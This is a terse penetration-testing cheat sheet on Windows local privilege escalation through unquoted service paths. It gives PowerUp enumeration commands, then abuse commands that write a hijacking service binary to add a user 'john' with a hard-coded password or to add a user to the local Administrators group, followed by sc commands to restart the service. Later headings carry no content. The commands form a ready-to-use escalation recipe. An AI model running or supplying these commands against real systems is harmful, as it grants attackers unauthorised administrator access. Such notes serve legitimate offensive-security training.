Local Privilege Escalation
Tools
Unquoted Service Paths
# Enumeration
Invoke-AllChecks
Get-ServiceUnquoted
# Abuse
Write-ServiceBinary -Name 'service' -Path <HijackPatch> (will add john:Password123!)
Write-ServiceBinary -Name 'service' -Path C:\WebServer\Abyss.exe -Command "net localgroup Administrators user /add"
# Restart Service (cmd)
sc stop service
sc start serviceModify Service Executable
Modify Service BinPath
SCManager Abuse
Last updated